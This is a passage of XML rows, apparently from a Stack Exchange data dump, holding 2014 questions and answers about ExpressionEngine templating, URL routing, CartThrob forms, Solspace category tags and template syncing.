  <row Id="23579" PostTypeId="2" ParentId="23578" CreationDate="2014-06-10T11:33:36.980" Score="20" Body="&lt;p&gt;There is no &lt;a href=&quot;http://www.sitemaps.org&quot;&gt;sitemaps.xml&lt;/a&gt; out of the box in EE. You can build it using channel:entries module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/colourgarden/expressionengine-google-sitemap/blob/master/googlesitemap.xml&quot;&gt;Example 1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bluefishds.com/blog/article/expressionengine-tutorial-how-to-create-a-sitemap-for-google&quot;&gt;Example 2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use one of next add-ons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-garage.com/nsm-better-meta&quot;&gt;NSM Better Meta&lt;/a&gt; &lt;em&gt;(~ $40)&lt;/em&gt; SEO module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/sitemap-module&quot;&gt;Sitemap Module&lt;/a&gt; &lt;em&gt;($49)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/google-sitemap-lite&quot;&gt;Google Sitemap Lite&lt;/a&gt; &lt;em&gt;(free)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-02-03T09:41:19.123" LastActivityDate="2015-02-03T09:41:19.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23580" PostTypeId="2" ParentId="22476" CreationDate="2014-06-10T14:38:35.240" Score="0" Body="&lt;p&gt;The final result of my trials and errors...&lt;/p&gt;&#xA;&lt;p&gt;Freebie does indeed work on segment_1 however your index template will also have to handle the routing if you have dynamic urls.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can still use all the segment variables you want with Freebie, HOWEVER, if you use freebie to &amp;quot;remove&amp;quot; segments of the URL, they won't be accessible as segment 1.&lt;/p&gt;&#xA;&lt;p&gt;For example, if I have the URL:&lt;/p&gt;&#xA;&lt;p&gt;/foo/bar/baz&lt;/p&gt;&#xA;&lt;p&gt;and I use Freebie to remove foo and baz, {segment_1} will return bar, and {segment_2} and {3} will return nothing. (You can access these vars as {freebie_1-3}).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(thank you to Doug Avery for the explanation of how freebie handles this)&lt;/p&gt;&#xA;&lt;p&gt;Because my desired URL scheme cannot be accomplished completely dynamically with Freebie or Template Routes I looked at another slightly more manual approach.&lt;/p&gt;&#xA;&lt;p&gt;Using the highly regarded &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow noreferrer&quot;&gt;Switchee&lt;/a&gt; plugin i have set up a case statement on my main index page.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code that I am using to achieve my desired url paths...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == ''}&#xA;This is the home page.&#xA;{/if}&#xA;&#xA;{if segment_1 != ''}&#xA;{exp:channel:entries limit=&amp;quot;1&amp;quot; dynamic=&amp;quot;no&amp;quot; url_title=&amp;quot;{segment_1}&amp;quot;}&#xA;    {exp:switchee variable=&amp;quot;{segment_2}&amp;quot; parse=&amp;quot;inward&amp;quot;}&#xA;        &#xA;        {case value=&amp;quot;&amp;quot;}&#xA;            {if no_results} {redirect=&amp;quot;404&amp;quot;} {/if}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;This is the main users page&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;        &#xA;        {case value=&amp;quot;admin&amp;quot;}&#xA;            {if no_results} {redirect=&amp;quot;404&amp;quot;} {/if}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;This is the admin page&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;        &#xA;        {case value=&amp;quot;signup&amp;quot;}&#xA;            {if no_results} {redirect=&amp;quot;404&amp;quot;} {/if}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;Signup Page&amp;lt;/p&amp;gt;&#xA;        {/case}&#xA;        &#xA;    {/exp:switchee}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A few notes, I did turn off strict urls to achieve 404 pages on non existing elements and will likely use &lt;a href=&quot;http://devot-ee.com/add-ons/in&quot; rel=&quot;nofollow noreferrer&quot;&gt;Causing Effect's new 'In'&lt;/a&gt; add on to help keep template fast and clean for each of the subpages.  I will also need to use conditionals, or case statements for additional url schemes on the site.&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-10T14:38:35.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23581" PostTypeId="1" CreationDate="2014-06-10T14:46:23.063" Score="1" ViewCount="146" Body="&lt;p&gt;Link a page usign &lt;code&gt;{path='site_index'}{page_uri}&lt;/code&gt; (inside an &lt;code&gt;exp:channel:entries&lt;/code&gt; obviously)&#xA;generate this url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://local.sitename.it:8888//centro-accoglienza/la-struttura&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I remove the double slash after site_index?&#xA;Is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-09-08T16:18:16.480" Title="Remove double slash using Pages" Tags="|pages|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23582" PostTypeId="2" ParentId="23581" CreationDate="2014-06-10T14:48:34.817" Score="1" Body="&lt;p&gt;Your site URL in your site general configuration (or perhaps your config file, depending on how you set up) likely has a trailing slash which isn't needed. If you remove that it should fix it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;Admin &gt; General Configuration&quot; this is referred to as &quot;URL to the root directory of your site&quot;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-10T14:48:34.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23583" PostTypeId="1" CreationDate="2014-06-10T15:06:05.333" Score="1" ViewCount="501" Body="&lt;p&gt;I have a weird problem: my EE URLs are generated with an extra &quot;W&quot;. For instance, on &lt;code&gt;http://www.example.com&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='article/details'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will produce (notice that www becomes wwww):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wwww.example.com/index.php/article/details/article-name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything in the admin where I may have typed in the URL wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea for how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="-1" LastEditDate="2014-06-10T22:03:20.723" LastActivityDate="2014-06-10T22:03:20.723" Title="URLs have an extra &quot;w&quot;" Tags="|url|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23584" PostTypeId="2" ParentId="23575" CreationDate="2014-06-10T15:18:29.250" Score="3" Body="&lt;p&gt;/system/codeigniter/system/libraries/Cache/Cache.php Has the Cache class - Check this file is on the staging server, also check the permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've often had similar issues where it's related to case sensitivity and differing servers (my local not being case sensitive, the public servers are) - so also check that the folder and file are in the correct Case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One key difference with the Cache class compared to any other class is that it's in a sub folder with the name &quot;Cache&quot; (note capital) - but a file search shows all references using the correct case :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No - there's no way to disable it as it's a core class and will still be referenced.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-06-10T15:18:29.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23585" PostTypeId="1" AcceptedAnswerId="24451" CreationDate="2014-06-10T15:45:41.250" Score="2" ViewCount="142" Body="&lt;p&gt;So I have a product listing page with each product displaying having an add to cart button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Add to basket&quot;&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All very well and good for a regular listing page. However this page also has a search feature, where search parameters are GET variables in the URL. Not having a return url strips the search so that is not the way forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to use the &lt;a href=&quot;https://github.com/rsanchez/mo_variables#current-page-url&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables {current_url} tag&lt;/a&gt; to push in the full URL. The problem I'm having now is when I have a search query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://emc.dev/publications?keywords=media&amp;amp;category:formats=9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is that when CartThrob comes back it gives the message &lt;code&gt;Disallowed Key Characters.&lt;/code&gt; and the url is now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://emc.dev/publications?keywords=media&amp;amp;category;:formats=9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is CartThrob adding a semi-colon before my colon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have already checked in the hidden fields in the add_to_cart_form and the return url is set properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;/publications?keyword=media&amp;amp;amp;category:format=9&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-07-16T14:16:04.973" Title="Add to cart form return parameter help" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23586" PostTypeId="2" ParentId="22462" CreationDate="2014-06-10T16:00:42.663" Score="1" Body="&lt;p&gt;I would definitely recommend not having the client edit Template files, but if you must (like my current situation), based on @CreateSean's comment, I now do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before Editing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pull the latest copy from Git&lt;/li&gt;&#xA;&lt;li&gt;Grab a DB dump of the Production database&lt;/li&gt;&#xA;&lt;li&gt;Import this DB dump into your local database&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Grab all template files from Production through SFTP (where ssh-prod is my ssh credentials for Production):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd TEMP&#xA;$ sftp -rp ssh-prod:/web/templates .    &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste and overwrite the downloaded templates folder in your local dev directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Grab all images from the Production server if you want a complete data set (in a similar sftp fashion).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2014-06-10T16:00:42.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23587" PostTypeId="1" CreationDate="2014-06-10T16:15:38.293" Score="0" ViewCount="143" Body="&lt;p&gt;After a successful test transaction with SagePay no email is triggered for admin or the customer. Also I cannot get the status change trigger to work either. Although the low stock trigger does work, so I know that emails in general are working ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked that the email is stored correctly in the customer info tag (before being sent to SagePay) and it is. But the emails are not even being logged in the CT email logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I return from SagePay (and get the successful page with correct info etc) the cart still has items in it, so it's not being cleared as it should. I'm sure it's all related to something simple maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2016-07-14T09:13:45.567" Title="No email notifications being triggered after a successful CT test purchase with SagePay" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23588" PostTypeId="2" ParentId="23583" CreationDate="2014-06-10T16:29:38.907" Score="5" Body="&lt;p&gt;Check the site url for your site in Admin-&gt;General Configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check this in your config file.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-10T16:29:38.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23589" PostTypeId="2" ParentId="23583" CreationDate="2014-06-10T17:03:18.327" Score="2" Body="&lt;p&gt;Found it. the issue was in the 2nd sites index.php file. the url was type wrong. Thanks foamcow for the help!!&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-06-10T17:03:18.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23590" PostTypeId="1" CreationDate="2014-06-10T18:06:27.090" Score="1" ViewCount="53" Body="&lt;p&gt;Firstly we have checked the primary category settings and have checked the entry has a primary cat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we use the primary category tag pair within and entries loop it doesnt work, just spitting all of the tags out in the page with their curly braces, for example this is the page output viewed in a browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{primary_categories category_group=&quot;1&quot; entry_id=&quot;23&quot;}&#xA;{primary_category_id} &#xA;{primary_category_name}&#xA;{/primary_categories}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the tag pair on its own, passed an entry ID works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's to code that doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;content_articles&quot; entry_id=&quot;{segment_2}&quot; disable=&quot;member_data|pagination&quot; category_group=&quot;1&quot; }&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;{primary_categories category_group=&quot;1&quot; entry_id=&quot;{segment_2}&quot;}  &#xA;    {primary_category_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_url_title} &amp;lt;br&amp;gt;&#xA;    {primary_category_description} &amp;lt;br&amp;gt;&#xA;    {primary_category_image} &amp;lt;br&amp;gt;&#xA;    {primary_category_CUSTOM_CATEGORY_FIELD} &amp;lt;br&amp;gt;&#xA;    {primary_category_group_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_group_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_order} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_url_title}   &amp;lt;br&amp;gt;    &#xA;{/primary_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as this does work:&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:primary_category entry_id=&quot;{segment_2}&quot;}&#xA;    {primary_category_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_url_title} &amp;lt;br&amp;gt;&#xA;    {primary_category_description} &amp;lt;br&amp;gt;&#xA;    {primary_category_image} &amp;lt;br&amp;gt;&#xA;    {primary_category_CUSTOM_CATEGORY_FIELD} &amp;lt;br&amp;gt;&#xA;    {primary_category_group_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_group_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_order} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_id} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_name} &amp;lt;br&amp;gt;&#xA;    {primary_category_parent_url_title}   &amp;lt;br&amp;gt; &#xA;{/exp:primary_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why this would be??&lt;/p&gt;&#xA;" OwnerUserId="3025" LastEditorUserId="3025" LastEditDate="2014-06-10T19:03:12.057" LastActivityDate="2014-06-10T19:03:12.057" Title="Solspace - Primary Category: Usage in Channel:Entries" Tags="|solspace|categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23591" PostTypeId="1" AcceptedAnswerId="23613" CreationDate="2014-06-10T18:56:18.210" Score="2" ViewCount="53" Body="&lt;p&gt;Is there a way to display something if there IS NOT a primary category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried these with no luck:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:primary_category entry_id=&quot;{segment_2}&quot;}&#xA;&#xA;&#xA;{if primary_category_id}&#xA;YES &#xA;{if:else}&#xA;NO&#xA;{/if}&#xA;&#xA;{if primary_category_id} YES {/if}&amp;lt;br&amp;gt;&#xA;&#xA;{if primary_category_id == &quot;&quot;} NO {/if}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:primary_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3025" LastActivityDate="2014-06-11T07:45:53.550" Title="Solspace - Primary Category no category" Tags="|solspace|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23592" PostTypeId="1" CreationDate="2014-06-10T19:37:23.840" Score="0" ViewCount="217" Body="&lt;p&gt;Our site was created by a developer before my time at the library and I have been asked to add a link in the drop down menu (&lt;a href=&quot;http://www.falmouthpubliclibrary.org&quot; rel=&quot;nofollow&quot;&gt;http://www.falmouthpubliclibrary.org&lt;/a&gt;) to an external site. There are links already - for example if you go to the site and look under For Readers/Books In Print - it links to an external web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that done?  I can't figure out how to make a new link in the drop down menu.  Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2014-12-08T23:07:03.713" Title="Creating links to external sites in drop down menu" Tags="|site-url|" AnswerCount="1" CommentCount="6" ClosedDate="2014-12-09T22:04:41.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="23594" PostTypeId="1" CreationDate="2014-06-10T20:38:50.267" Score="1" ViewCount="81" Body="&lt;p&gt;We're using Krea Content Elements (&lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;nofollow&quot;&gt;http://www.krea.com/content-elements&lt;/a&gt;) on a new site and have discovered that if a standard EE validation issue fires, (i.e. a required field missing content) that on the subsequent page load the content you had added to your Content Elements field is lost! Bit of a showstopper... anyone aware of a resolution to this, in fact can anyone reproduce?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-12-08T13:23:50.517" LastActivityDate="2016-06-08T05:10:56.007" Title="Krea Content Elements loses content when there's a validation error" Tags="|validation|bug|content-elements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23595" PostTypeId="5" CreationDate="2014-06-10T20:51:15.410" Score="0" Body="&lt;p&gt;Content Elements (&lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;nofollow&quot;&gt;http://www.krea.com/content-elements&lt;/a&gt;) is a fieldtype for ExpressionEngine that gives your clients the freedom to create content structure directly on the publish page using 'Content Elements'. You will no longer need to create individual channels to accommodate different field groups. Instead, you can let clients choose what content elements and what order to use — all in one channel and using a single field type.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-06-10T21:13:08.880" LastActivityDate="2014-06-10T21:13:08.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23596" PostTypeId="4" CreationDate="2014-06-10T20:51:15.410" Score="0" Body="Content Elements (http://www.krea.com/content-elements) is an ExpressionEngine fieldtype created by Krea." OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-06-10T21:16:06.407" LastActivityDate="2014-06-10T21:16:06.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23598" PostTypeId="1" CreationDate="2014-06-10T21:57:31.240" Score="0" ViewCount="86" Body="&lt;p&gt;I have a composer template in freeform pro, thats being used as a survey. The field label needs to be a question which is quite long but there appears to be a limit on the field label in Freeform. Can this be changed?&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2014-07-13T22:26:03.703" Title="Can I change the Field Label Length in Solspace Freeform" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23599" PostTypeId="2" ParentId="23592" CreationDate="2014-06-10T22:14:32.207" Score="1" Body="&lt;p&gt;The links could be done in a number of different ways. They could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manually coded into a template or snippet&lt;/li&gt;&#xA;&lt;li&gt;generated from entries within a channel &lt;/li&gt;&#xA;&lt;li&gt;output by an add-on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first place to look is within your template code. This will at least give you a clue as to what is controlling those links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in you templates (start with the homepage) and see if you can work out where the links are being generated. They could be in that template or within an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find anything there, look in Design-&gt;Templates-&gt;Snippets to see if there is anything there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find anything in Snippets then look in Add-ons-&gt;Modules for any of the following, &quot;NavEE&quot;, &quot;Taxonomy&quot; or &quot;Structure&quot;. Any of these add-ons could be creating navigation links for you. Another clue that these are being used would be a tag in the template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these add-ons will handle creation of new links in their own way but you should be able to work it out.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-12-08T23:07:03.713" LastActivityDate="2014-12-08T23:07:03.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23601" PostTypeId="2" ParentId="21843" CreationDate="2014-06-10T22:37:33.833" Score="0" Body="&lt;p&gt;If you fancy porting it to EE2.x then this plug-in might help with changing member group once a user already has already been registered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:change_member_group:change group_id=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://github.com/ninefour/change_member_group.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/change_member_group.pi.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-10T22:37:33.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23602" PostTypeId="2" ParentId="22493" CreationDate="2014-06-10T23:01:40.253" Score="0" Body="&lt;p&gt;This might depend on how you are going to use this. File upload with a Channel Form or via a WYSIWYG editor. However both these examples don't have a straight forward configuration but you could write a conditional with a minimum file size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE-image will perform practically any image manipulation you can think of, but it also cannot set an minimum upload size for the original file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to avoid conditionals I am sure this can also be done with Javascript. &lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-06-10T23:01:40.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23604" PostTypeId="2" ParentId="22444" CreationDate="2014-06-10T23:54:52.823" Score="1" Body="&lt;p&gt;OK, so thanks to Chris from Mighty Big Robot for his support call this morning, we tracked this back to the Terms of Service text area field being called rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;rules&quot; style=&quot;width:98%; margin-bottom: 1.5em;&quot; class=&quot;textarea&quot; rows=&quot;9&quot; cols=&quot;90&quot; readonly=&quot;readonly&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;He changed this to the_rules and it fixed the initial problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;the_rules&quot; style=&quot;width:98%; margin-bottom: 1.5em;&quot; class=&quot;textarea&quot; rows=&quot;9&quot; cols=&quot;90&quot; readonly=&quot;readonly&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, it should be noted that this may point to an underlying problem with the server setup specifically to do with something call 'mcrypt'. I will pass this off to our hosting provider to see what they manage to discover and report back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for now, it's at least working again.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-06-10T23:54:52.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23605" PostTypeId="1" AcceptedAnswerId="23607" CreationDate="2014-06-11T00:10:50.350" Score="0" ViewCount="44" Body="&lt;p&gt;I have tried using &lt;code&gt;category_group=&quot;4&quot;&lt;/code&gt; to restrict the categories displayed in the channel entries tag to ONLY that category group, but it's still displaying from category_group 14 as well. I then tried &lt;code&gt;category_group=&quot;not 14&quot;&lt;/code&gt; to try and restrict it from displaying those categories, but it changed absolutely nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My news entries use 2 category groups, and I need to restrict it to only display categories attached to the entry from category_group 4. I may just be missing something...but it shouldn't be this hard to only display from one group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm currently using, and trying &lt;code&gt;category_group=&quot;4&quot;&lt;/code&gt; didn't help either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;open|Featured&quot; channel=&quot;{channel}&quot; category=&quot;{cat}&quot; orderby=&quot;date&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&amp;lt;img src=&quot;{image_upload}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/figure&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;} | Filed under: {categories backspace=&quot;7&quot; category_group=&quot;not 14&quot;}&amp;lt;a href=&quot;{path=news/view}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&amp;amp;nbsp;{/categories}&amp;lt;/p&amp;gt;&#xA;                {if news_body}&amp;lt;p&amp;gt;&amp;lt;a class=&quot;more&quot; href=&quot;{title_permalink=news/view}&quot; title=&quot;Read More&quot;&amp;gt; Read More &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;        {paginate}&amp;lt;p id=&quot;pagination&quot;&amp;gt;{pagination_links}&amp;lt;/p&amp;gt;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add that &lt;code&gt;show=&quot;not 97|98|99&quot;&lt;/code&gt; worked, as these are the exact categories in the group I would like to not show. I need a dynamic solution however, as these could be modified by the client in the future.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-06-11T00:44:09.373" Title="Is there a way to restrict the categories tag pair from displaying a category_group attached to an entry?" Tags="|channel-entries|categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23606" PostTypeId="2" ParentId="22485" CreationDate="2014-06-11T00:14:18.130" Score="0" Body="&lt;p&gt;The core function in EE that allows this is the Field Type add-on&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bjorn's answer contains a nice add-on template for this, that allows a SQL query to be provided to populate the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This add-on is also a good example, it generates a list of members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckimrie/cki.member_list.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckimrie/cki.member_list.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my question, I was able to modify the logic in this add-on to customise the list of members accordingly.&lt;/p&gt;&#xA;" 